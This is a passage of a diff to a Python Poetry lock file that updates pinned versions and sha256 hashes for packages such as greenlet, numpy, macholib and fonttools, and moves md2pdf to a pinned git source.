"fonttools-4.43.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2adca1b46d69dce4a37eecc096fe01a65d81a2f5c13b25ad54d5430ae430b13"}, + {file = "fonttools-4.43.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18eefac1b247049a3a44bcd6e8c8fd8b97f3cad6f728173b5d81dced12d6c477"}, + {file = "fonttools-4.43.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2062542a7565091cea4cc14dd99feff473268b5b8afdee564f7067dd9fff5860"}, + {file = "fonttools-4.43.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:18a2477c62a728f4d6e88c45ee9ee0229405e7267d7d79ce1f5ce0f3e9f8ab86"}, + {file = "fonttools-4.43.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:a7a06f8d95b7496e53af80d974d63516ffb263a468e614978f3899a6df52d4b3"}, + {file = "fonttools-4.43.1-cp39-cp39-win32.whl", hash = "sha256:10003ebd81fec0192c889e63a9c8c63f88c7d72ae0460b7ba0cd2a1db246e5ad"}, + {file = "fonttools-4.43.1-cp39-cp39-win_amd64.whl", hash = "sha256:e117a92b07407a061cde48158c03587ab97e74e7d73cb65e6aadb17af191162a"}, + {file = "fonttools-4.43.1-py3-none-any.whl", hash = "sha256:4f88cae635bfe4bbbdc29d479a297bb525a94889184bb69fa9560c2d4834ddb9"}, + {file = "fonttools-4.43.1.tar.gz", hash = "sha256:17dbc2eeafb38d5d0e865dcce16e313c58265a6d2d20081c435f84dc5a9d8212"}, ] [package.dependencies] @@ -843,75 +847,77 @@ woff = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "zopfli (>=0.1.4)"] [[package]] name = "greenlet" -version = "2.0.2" +version = "3.0.0" description = "Lightweight in-process concurrent programming" optional = false -python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*" -files = [ - {file = "greenlet-2.0.2-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:bdfea8c661e80d3c1c99ad7c3ff74e6e87184895bbaca6ee8cc61209f8b9b85d"}, - {file = "greenlet-2.0.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9d14b83fab60d5e8abe587d51c75b252bcc21683f24699ada8fb275d7712f5a9"}, - {file = "greenlet-2.0.2-cp27-cp27m-win32.whl", hash = "sha256:6c3acb79b0bfd4fe733dff8bc62695283b57949ebcca05ae5c129eb606ff2d74"}, - {file = "greenlet-2.0.2-cp27-cp27m-win_amd64.whl", hash = "sha256:283737e0da3f08bd637b5ad058507e578dd462db259f7f6e4c5c365ba4ee9343"}, - {file = "greenlet-2.0.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d27ec7509b9c18b6d73f2f5ede2622441de812e7b1a80bbd446cb0633bd3d5ae"}, - {file = "greenlet-2.0.2-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:30bcf80dda7f15ac77ba5af2b961bdd9dbc77fd4ac6105cee85b0d0a5fcf74df"}, - {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26fbfce90728d82bc9e6c38ea4d038cba20b7faf8a0ca53a9c07b67318d46088"}, - {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9190f09060ea4debddd24665d6804b995a9c122ef5917ab26e1566dcc712ceeb"}, - {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d75209eed723105f9596807495d58d10b3470fa6732dd6756595e89925ce2470"}, - {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3a51c9751078733d88e013587b108f1b7a1fb106d402fb390740f002b6f6551a"}, - {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:76ae285c8104046b3a7f06b42f29c7b73f77683df18c49ab5af7983994c2dd91"}, - {file = "greenlet-2.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:2d4686f195e32d36b4d7cf2d166857dbd0ee9f3d20ae349b6bf8afc8485b3645"}, - {file = "greenlet-2.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c4302695ad8027363e96311df24ee28978162cdcdd2006476c43970b384a244c"}, - {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c48f54ef8e05f04d6eff74b8233f6063cb1ed960243eacc474ee73a2ea8573ca"}, - {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a1846f1b999e78e13837c93c778dcfc3365902cfb8d1bdb7dd73ead37059f0d0"}, - {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a06ad5312349fec0ab944664b01d26f8d1f05009566339ac6f63f56589bc1a2"}, - {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:eff4eb9b7eb3e4d0cae3d28c283dc16d9bed6b193c2e1ace3ed86ce48ea8df19"}, - {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5454276c07d27a740c5892f4907c86327b632127dd9abec42ee62e12427ff7e3"}, - {file = "greenlet-2.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:7cafd1208fdbe93b67c7086876f061f660cfddc44f404279c1585bbf3cdc64c5"}, - {file = "greenlet-2.0.2-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:910841381caba4f744a44bf81bfd573c94e10b3045ee00de0cbf436fe50673a6"}, - {file = "greenlet-2.0.2-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:18a7f18b82b52ee85322d7a7874e676f34ab319b9f8cce5de06067384aa8ff43"}, - {file = "greenlet-2.0.2-cp35-cp35m-win32.whl", hash = "sha256:03a8f4f3430c3b3ff8d10a2a86028c660355ab637cee9333d63d66b56f09d52a"}, - {file = "greenlet-2.0.2-cp35-cp35m-win_amd64.whl", hash = "sha256:4b58adb399c4d61d912c4c331984d60eb66565175cdf4a34792cd9600f21b394"}, - {file = "greenlet-2.0.2-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:703f18f3fda276b9a916f0934d2fb6d989bf0b4fb5a64825260eb9bfd52d78f0"}, - {file = "greenlet-2.0.2-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:32e5b64b148966d9cccc2c8d35a671409e45f195864560829f395a54226408d3"}, - {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2dd11f291565a81d71dab10b7033395b7a3a5456e637cf997a6f33ebdf06f8db"}, - {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e0f72c9ddb8cd28532185f54cc1453f2c16fb417a08b53a855c4e6a418edd099"}, - {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd021c754b162c0fb55ad5d6b9d960db667faad0fa2ff25bb6e1301b0b6e6a75"}, - {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:3c9b12575734155d0c09d6c3e10dbd81665d5c18e1a7c6597df72fd05990c8cf"}, - {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b9ec052b06a0524f0e35bd8790686a1da006bd911dd1ef7d50b77bfbad74e292"}, - {file = "greenlet-2.0.2-cp36-cp36m-win32.whl", hash = "sha256:dbfcfc0218093a19c252ca8eb9aee3d29cfdcb586df21049b9d777fd32c14fd9"}, - {file = "greenlet-2.0.2-cp36-cp36m-win_amd64.whl", hash = "sha256:9f35ec95538f50292f6d8f2c9c9f8a3c6540bbfec21c9e5b4b751e0a7c20864f"}, - {file = "greenlet-2.0.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:d5508f0b173e6aa47273bdc0a0b5ba055b59662ba7c7ee5119528f466585526b"}, - {file = "greenlet-2.0.2-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:f82d4d717d8ef19188687aa32b8363e96062911e63ba22a0cff7802a8e58e5f1"}, - {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9c59a2120b55788e800d82dfa99b9e156ff8f2227f07c5e3012a45a399620b7"}, - {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2780572ec463d44c1d3ae850239508dbeb9fed38e294c68d19a24d925d9223ca"}, - {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:937e9020b514ceedb9c830c55d5c9872abc90f4b5862f89c0887033ae33c6f73"}, - {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:36abbf031e1c0f79dd5d596bfaf8e921c41df2bdf54ee1eed921ce1f52999a86"}, - {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:18e98fb3de7dba1c0a852731c3070cf022d14f0d68b4c87a19cc1016f3bb8b33"}, - {file = "greenlet-2.0.2-cp37-cp37m-win32.whl", hash = "sha256:3f6ea9bd35eb450837a3d80e77b517ea5bc56b4647f5502cd28de13675ee12f7"}, - {file = "greenlet-2.0.2-cp37-cp37m-win_amd64.whl", hash = "sha256:7492e2b7bd7c9b9916388d9df23fa49d9b88ac0640db0a5b4ecc2b653bf451e3"}, - {file = "greenlet-2.0.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:b864ba53912b6c3ab6bcb2beb19f19edd01a6bfcbdfe1f37ddd1778abfe75a30"}, - {file = "greenlet-2.0.2-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:ba2956617f1c42598a308a84c6cf021a90ff3862eddafd20c3333d50f0edb45b"}, - {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fc3a569657468b6f3fb60587e48356fe512c1754ca05a564f11366ac9e306526"}, - {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8eab883b3b2a38cc1e050819ef06a7e6344d4a990d24d45bc6f2cf959045a45b"}, - {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:acd2162a36d3de67ee896c43effcd5ee3de247eb00354db411feb025aa319857"}, - {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0bf60faf0bc2468089bdc5edd10555bab6e85152191df713e2ab1fcc86382b5a"}, - {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0ef99cdbe2b682b9ccbb964743a6aca37905fda5e0452e5ee239b1654d37f2a"}, - {file = "greenlet-2.0.2-cp38-cp38-win32.whl", hash = "sha256:b80f600eddddce72320dbbc8e3784d16bd3fb7b517e82476d8da921f27d4b249"}, - {file = "greenlet-2.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:4d2e11331fc0c02b6e84b0d28ece3a36e0548ee1a1ce9ddde03752d9b79bba40"}, - {file = "greenlet-2.0.2-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:88d9ab96491d38a5ab7c56dd7a3cc37d83336ecc564e4e8816dbed12e5aaefc8"}, - {file = "greenlet-2.0.2-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:561091a7be172ab497a3527602d467e2b3fbe75f9e783d8b8ce403fa414f71a6"}, - {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:971ce5e14dc5e73715755d0ca2975ac88cfdaefcaab078a284fea6cfabf866df"}, - {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be4ed120b52ae4d974aa40215fcdfde9194d63541c7ded40ee12eb4dda57b76b"}, - {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94c817e84245513926588caf1152e3b559ff794d505555211ca041f032abbb6b"}, - {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1a819eef4b0e0b96bb0d98d797bef17dc1b4a10e8d7446be32d1da33e095dbb8"}, - {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7efde645ca1cc441d6dc4b48c0f7101e8d86b54c8530141b09fd31cef5149ec9"}, - {file = "greenlet-2.0.2-cp39-cp39-win32.whl", hash = "sha256:ea9872c80c132f4663822dd2a08d404073a5a9b5ba6155bea72fb2a79d1093b5"}, - {file = "greenlet-2.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:db1a39669102a1d8d12b57de2bb7e2ec9066a6f2b3da35ae511ff93b01b5d564"}, - {file = "greenlet-2.0.2.tar.gz", hash = "sha256:e7c8dc13af7db097bed64a051d2dd49e9f0af495c26995c00a9ee842690d34c0"}, +python-versions = ">=3.7" +files = [ + {file = "greenlet-3.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e09dea87cc91aea5500262993cbd484b41edf8af74f976719dd83fe724644cd6"}, + {file = "greenlet-3.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f47932c434a3c8d3c86d865443fadc1fbf574e9b11d6650b656e602b1797908a"}, + {file = "greenlet-3.0.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bdfaeecf8cc705d35d8e6de324bf58427d7eafb55f67050d8f28053a3d57118c"}, + {file = "greenlet-3.0.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6a68d670c8f89ff65c82b936275369e532772eebc027c3be68c6b87ad05ca695"}, + {file = "greenlet-3.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:38ad562a104cd41e9d4644f46ea37167b93190c6d5e4048fcc4b80d34ecb278f"}, + {file = "greenlet-3.0.0-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:02a807b2a58d5cdebb07050efe3d7deaf915468d112dfcf5e426d0564aa3aa4a"}, + {file = "greenlet-3.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b1660a15a446206c8545edc292ab5c48b91ff732f91b3d3b30d9a915d5ec4779"}, + {file = "greenlet-3.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:813720bd57e193391dfe26f4871186cf460848b83df7e23e6bef698a7624b4c9"}, + {file = "greenlet-3.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:aa15a2ec737cb609ed48902b45c5e4ff6044feb5dcdfcf6fa8482379190330d7"}, + {file = "greenlet-3.0.0-cp310-universal2-macosx_11_0_x86_64.whl", hash = "sha256:7709fd7bb02b31908dc8fd35bfd0a29fc24681d5cc9ac1d64ad07f8d2b7db62f"}, + {file = "greenlet-3.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:211ef8d174601b80e01436f4e6905aca341b15a566f35a10dd8d1e93f5dbb3b7"}, + {file = "greenlet-3.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6512592cc49b2c6d9b19fbaa0312124cd4c4c8a90d28473f86f92685cc5fef8e"}, + {file = "greenlet-3.0.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:871b0a8835f9e9d461b7fdaa1b57e3492dd45398e87324c047469ce2fc9f516c"}, + {file = "greenlet-3.0.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b505fcfc26f4148551826a96f7317e02c400665fa0883fe505d4fcaab1dabfdd"}, + {file = "greenlet-3.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:123910c58234a8d40eaab595bc56a5ae49bdd90122dde5bdc012c20595a94c14"}, + {file = "greenlet-3.0.0-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:96d9ea57292f636ec851a9bb961a5cc0f9976900e16e5d5647f19aa36ba6366b"}, + {file = "greenlet-3.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0b72b802496cccbd9b31acea72b6f87e7771ccfd7f7927437d592e5c92ed703c"}, + {file = "greenlet-3.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:527cd90ba3d8d7ae7dceb06fda619895768a46a1b4e423bdb24c1969823b8362"}, + {file = "greenlet-3.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:37f60b3a42d8b5499be910d1267b24355c495064f271cfe74bf28b17b099133c"}, + {file = "greenlet-3.0.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:1482fba7fbed96ea7842b5a7fc11d61727e8be75a077e603e8ab49d24e234383"}, + {file = "greenlet-3.0.0-cp312-cp312-macosx_13_0_arm64.whl", hash = "sha256:be557119bf467d37a8099d91fbf11b2de5eb1fd5fc5b91598407574848dc910f"}, + {file = "greenlet-3.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73b2f1922a39d5d59cc0e597987300df3396b148a9bd10b76a058a2f2772fc04"}, + {file = "greenlet-3.0.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d1e22c22f7826096ad503e9bb681b05b8c1f5a8138469b255eb91f26a76634f2"}, + {file = "greenlet-3.0.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1d363666acc21d2c204dd8705c0e0457d7b2ee7a76cb16ffc099d6799744ac99"}, + {file = "greenlet-3.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:334ef6ed8337bd0b58bb0ae4f7f2dcc84c9f116e474bb4ec250a8bb9bd797a66"}, + {file = "greenlet-3.0.0-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6672fdde0fd1a60b44fb1751a7779c6db487e42b0cc65e7caa6aa686874e79fb"}, + {file = "greenlet-3.0.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:952256c2bc5b4ee8df8dfc54fc4de330970bf5d79253c863fb5e6761f00dda35"}, + {file = "greenlet-3.0.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:269d06fa0f9624455ce08ae0179430eea61085e3cf6457f05982b37fd2cefe17"}, + {file = "greenlet-3.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:9adbd8ecf097e34ada8efde9b6fec4dd2a903b1e98037adf72d12993a1c80b51"}, + {file = "greenlet-3.0.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c6b5ce7f40f0e2f8b88c28e6691ca6806814157ff05e794cdd161be928550f4c"}, + {file = "greenlet-3.0.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ecf94aa539e97a8411b5ea52fc6ccd8371be9550c4041011a091eb8b3ca1d810"}, + {file = "greenlet-3.0.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:80dcd3c938cbcac986c5c92779db8e8ce51a89a849c135172c88ecbdc8c056b7"}, + {file = "greenlet-3.0.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e52a712c38e5fb4fd68e00dc3caf00b60cb65634d50e32281a9d6431b33b4af1"}, + {file = "greenlet-3.0.0-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d5539f6da3418c3dc002739cb2bb8d169056aa66e0c83f6bacae0cd3ac26b423"}, + {file = "greenlet-3.0.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:343675e0da2f3c69d3fb1e894ba0a1acf58f481f3b9372ce1eb465ef93cf6fed"}, + {file = "greenlet-3.0.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:abe1ef3d780de56defd0c77c5ba95e152f4e4c4e12d7e11dd8447d338b85a625"}, + {file = "greenlet-3.0.0-cp37-cp37m-win32.whl", hash = "sha256:e693e759e172fa1c2c90d35dea4acbdd1d609b6936115d3739148d5e4cd11947"}, + {file = "greenlet-3.0.0-cp37-cp37m-win_amd64.whl", hash = "sha256:bdd696947cd695924aecb3870660b7545a19851f93b9d327ef8236bfc49be705"}, + {file = "greenlet-3.0.0-cp37-universal2-macosx_11_0_x86_64.whl", hash = "sha256:cc3e2679ea13b4de79bdc44b25a0c4fcd5e94e21b8f290791744ac42d34a0353"}, + {file = "greenlet-3.0.0-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:63acdc34c9cde42a6534518e32ce55c30f932b473c62c235a466469a710bfbf9"}, + {file = "greenlet-3.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a1a6244ff96343e9994e37e5b4839f09a0207d35ef6134dce5c20d260d0302c"}, + {file = "greenlet-3.0.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b822fab253ac0f330ee807e7485769e3ac85d5eef827ca224feaaefa462dc0d0"}, + {file = "greenlet-3.0.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8060b32d8586e912a7b7dac2d15b28dbbd63a174ab32f5bc6d107a1c4143f40b"}, + {file = "greenlet-3.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:621fcb346141ae08cb95424ebfc5b014361621b8132c48e538e34c3c93ac7365"}, + {file = "greenlet-3.0.0-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6bb36985f606a7c49916eff74ab99399cdfd09241c375d5a820bb855dfb4af9f"}, + {file = "greenlet-3.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:10b5582744abd9858947d163843d323d0b67be9432db50f8bf83031032bc218d"}, + {file = "greenlet-3.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:f351479a6914fd81a55c8e68963609f792d9b067fb8a60a042c585a621e0de4f"}, + {file = "greenlet-3.0.0-cp38-cp38-win32.whl", hash = "sha256:9de687479faec7db5b198cc365bc34addd256b0028956501f4d4d5e9ca2e240a"}, + {file = "greenlet-3.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:3fd2b18432e7298fcbec3d39e1a0aa91ae9ea1c93356ec089421fabc3651572b"}, + {file = "greenlet-3.0.0-cp38-universal2-macosx_11_0_x86_64.whl", hash = "sha256:3c0d36f5adc6e6100aedbc976d7428a9f7194ea79911aa4bf471f44ee13a9464"}, + {file = "greenlet-3.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:4cd83fb8d8e17633ad534d9ac93719ef8937568d730ef07ac3a98cb520fd93e4"}, + {file = "greenlet-3.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6a5b2d4cdaf1c71057ff823a19d850ed5c6c2d3686cb71f73ae4d6382aaa7a06"}, + {file = "greenlet-3.0.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2e7dcdfad252f2ca83c685b0fa9fba00e4d8f243b73839229d56ee3d9d219314"}, + {file = "greenlet-3.0.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c94e4e924d09b5a3e37b853fe5924a95eac058cb6f6fb437ebb588b7eda79870"}, + {file = "greenlet-3.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad6fb737e46b8bd63156b8f59ba6cdef46fe2b7db0c5804388a2d0519b8ddb99"}, + {file = "greenlet-3.0.0-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d55db1db455c59b46f794346efce896e754b8942817f46a1bada2d29446e305a"}, + {file = "greenlet-3.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:56867a3b3cf26dc8a0beecdb4459c59f4c47cdd5424618c08515f682e1d46692"}, + {file = "greenlet-3.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9a812224a5fb17a538207e8cf8e86f517df2080c8ee0f8c1ed2bdaccd18f38f4"}, + {file = "greenlet-3.0.0-cp39-cp39-win32.whl", hash = "sha256:0d3f83ffb18dc57243e0151331e3c383b05e5b6c5029ac29f754745c800f8ed9"}, + {file = "greenlet-3.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:831d6f35037cf18ca5e80a737a27d822d87cd922521d18ed3dbc8a6967be50ce"}, + {file = "greenlet-3.0.0-cp39-universal2-macosx_11_0_x86_64.whl", hash = "sha256:a048293392d4e058298710a54dfaefcefdf49d287cd33fb1f7d63d55426e4355"}, + {file = "greenlet-3.0.0.tar.gz", hash = "sha256:19834e3f91f485442adc1ee440171ec5d9a4840a1f7bd5ed97833544719ce10b"}, ] [package.extras] -docs = ["Sphinx", "docutils (<0.18)"] +docs = ["Sphinx"] test = ["objgraph", "psutil"] [[package]] @@ -1029,25 +1035,6 @@ files = [ {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"}, ] -[[package]] -name = "importlib-metadata" -version = "6.8.0" -description = "Read metadata from Python packages" -optional = false -python-versions = ">=3.8" -files = [ - {file = "importlib_metadata-6.8.0-py3-none-any.whl", hash = "sha256:3ebb78df84a805d7698245025b975d9d67053cd94c79245ba4b3eb694abe68bb"}, - {file = "importlib_metadata-6.8.0.tar.gz", hash = "sha256:dbace7892d8c0c4ac1ad096662232f831d4e64f4c4545bd53016a3e9d4654743"}, -] - -[package.dependencies] -zipp = ">=0.5" - -[package.extras] -docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -perf = ["ipython"] -testing = ["flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)", "pytest-ruff"] - [[package]] name = "incremental" version = "22.10.0" @@ -1201,13 +1188,13 @@ files = [ [[package]] name = "macholib" -version = "1.16.2" +version = "1.16.3" description = "Mach-O header analysis and editing" optional = false python-versions = "*" files = [ - {file = "macholib-1.16.2-py2.py3-none-any.whl", hash = "sha256:44c40f2cd7d6726af8fa6fe22549178d3a4dfecc35a9cd15ea916d9c83a688e0"}, - {file = "macholib-1.16.2.tar.gz", hash = "sha256:557bbfa1bb255c20e9abafe7ed6cd8046b48d9525db2f9b77d3122a63a2a8bf8"}, + {file = "macholib-1.16.3-py2.py3-none-any.whl", hash = "sha256:0e315d7583d38b8c77e815b1ecbdbf504a8258d8b3e17b61165c6feb60d18f2c"}, + {file = "macholib-1.16.3.tar.gz", hash = "sha256:07ae9e15e8e4cd9a788013d81f5908b3609aa76f9b1421bae9c4d7606ec86a30"}, ] [package.dependencies] @@ -1294,15 +1281,20 @@ version = "1.0.1" description = "md2pdf, a Markdown to PDF conversion tool" optional = false python-versions = "*" -files = [ - {file = "md2pdf-1.0.1.tar.gz", hash = "sha256:3d5aab77dcd5b6f5827b193819ab1a8c1cec506ce5f6c777c3411b703352cd98"}, -] +files = [] +develop = false [package.dependencies] -docopt = "*" +docopt-ng = "*" markdown2 = "*" WeasyPrint = "*" +[package.source] +type = "git" +url = "https://github.com/bc-security/md2pdf" +reference = "48d5a46" +resolved_reference = "48d5a460f3323d7ad245290c7d28016333a4c5f1" + [[package]] name = "mypy-extensions" version = "1.0.0" @@ -1355,50 +1347,54 @@ files = [ [[package]] name = "numpy" -version = "1.24.4" +version = "1.26.1" description = "Fundamental package for array computing in Python" optional = false -python-versions = ">=3.8" -files = [ - {file = "numpy-1.24.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c0bfb52d2169d58c1cdb8cc1f16989101639b34c7d3ce60ed70b19c63eba0b64"}, - {file = "numpy-1.24.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ed094d4f0c177b1b8e7aa9cba7d6ceed51c0e569a5318ac0ca9a090680a6a1b1"}, - {file = "numpy-1.24.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:79fc682a374c4a8ed08b331bef9c5f582585d1048fa6d80bc6c35bc384eee9b4"}, - {file = "numpy-1.24.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ffe43c74893dbf38c2b0a1f5428760a1a9c98285553c89e12d70a96a7f3a4d6"}, - {file = "numpy-1.24.4-cp310-cp310-win32.whl", hash = "sha256:4c21decb6ea94057331e111a5bed9a79d335658c27ce2adb580fb4d54f2ad9bc"}, - {file = "numpy-1.24.4-cp310-cp310-win_amd64.whl", hash = "sha256:b4bea75e47d9586d31e892a7401f76e909712a0fd510f58f5337bea9572c571e"}, - {file = 